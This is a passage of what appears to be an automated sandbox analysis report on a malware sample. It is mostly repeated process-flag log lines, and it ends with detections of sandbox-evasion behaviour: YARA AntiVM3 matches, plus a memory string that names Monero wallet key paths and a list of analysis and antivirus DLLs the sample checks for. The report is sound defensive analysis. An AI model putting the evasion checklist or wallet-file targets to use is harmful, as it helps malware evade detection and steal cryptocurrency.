Source: C:\Users\user\Desktop\file.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\file.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\file.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\file.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\file.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\file.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\file.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\file.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\file.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\file.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\file.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\file.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\file.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\file.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\file.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\ProgramData\AFIDGDBGCA.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\ProgramData\AFIDGDBGCA.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\ProgramData\AFIDGDBGCA.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\ProgramData\AFIDGDBGCA.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\ProgramData\AFIDGDBGCA.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\ProgramData\AFIDGDBGCA.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\ProgramData\AFIDGDBGCA.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\ProgramData\AFIDGDBGCA.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\ProgramData\AFIDGDBGCA.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\ProgramData\AFIDGDBGCA.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\ProgramData\AFIDGDBGCA.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\ProgramData\AFIDGDBGCA.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\ProgramData\AFIDGDBGCA.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\ProgramData\AFIDGDBGCA.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\ProgramData\AFIDGDBGCA.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\ProgramData\AFIDGDBGCA.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\ProgramData\AFIDGDBGCA.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\ProgramData\AFIDGDBGCA.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\ProgramData\AFIDGDBGCA.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\ProgramData\AFIDGDBGCA.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\ProgramData\AFIDGDBGCA.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\ProgramData\AFIDGDBGCA.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\ProgramData\AFIDGDBGCA.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\ProgramData\AFIDGDBGCA.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\FDWDZ.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\FDWDZ.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\FDWDZ.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\FDWDZ.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\FDWDZ.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\FDWDZ.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\FDWDZ.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\FDWDZ.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\FDWDZ.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\FDWDZ.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\FDWDZ.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\FDWDZ.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\FDWDZ.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\FDWDZ.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\FDWDZ.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\FDWDZ.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\FDWDZ.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\FDWDZ.exe Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\BFIIEHJDBK.exe Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\BFIIEHJDBK.exe Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\BFIIEHJDBK.exe Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\BFIIEHJDBK.exe Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\BFIIEHJDBK.exe Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\BFIIEHJDBK.exe Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\BFIIEHJDBK.exe Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\BFIIEHJDBK.exe Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\BFIIEHJDBK.exe Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\BFIIEHJDBK.exe Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\BFIIEHJDBK.exe Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\BFIIEHJDBK.exe Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\BFIIEHJDBK.exe Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\BFIIEHJDBK.exe Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\BFIIEHJDBK.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion
barindex
Yara detected AntiVM3
Source: Yara match File source: 3.2.RegAsm.exe.400000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.file.exe.4295570.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.2.RegAsm.exe.400000.2.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.file.exe.4295570.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000000.00000002.2072601373.0000000004295000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000002.2974075662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: file.exe PID: 6616, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: RegAsm.exe PID: 5464, type: MEMORYSTR
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Source: RegAsm.exe Binary or memory string: DIR_WATCH.DLL
Source: RegAsm.exe, 00000003.00000002.2974075662.0000000000400000.00000040.00000400.00020000.00000000.sdmp Binary or memory string: INMPM20IXQUGN9:-?5(\C!7%{->^WALLET_PATHSOFTWARE\MONERO-PROJECT\MONERO-CORE.KEYS\MONERO\WALLET.KEYS\\\*.*\\...\\\\\\\\\\\\HAL9THJOHNDOEDISPLAYAVGHOOKX.DLLAVGHOOKA.DLLSNXHK.DLLSBIEDLL.DLLAPI_LOG.DLLDIR_WATCH.DLLPSTOREC.DLLVMCHECK.DLLWPESPY.DLLCMDVRT32.DLLCMDVRT64.DLL18:44:1918:44:1918:44:1918:44:1918:44:1918:44:19DELAYS.TMP%S%SNTDLL.DLL
Source: RegAsm.exe Binary or memory string: SBIEDLL.DLL
Source: RegAsm.exe Binary or memory string: API_LOG.DLL
Allocates memory with a write watch (potentially for evading sandboxes)
Source: C:\Users\user\Desktop\file.exe Memory allocated: 17E0000 memory reserve | memory write watch Jump to behavior
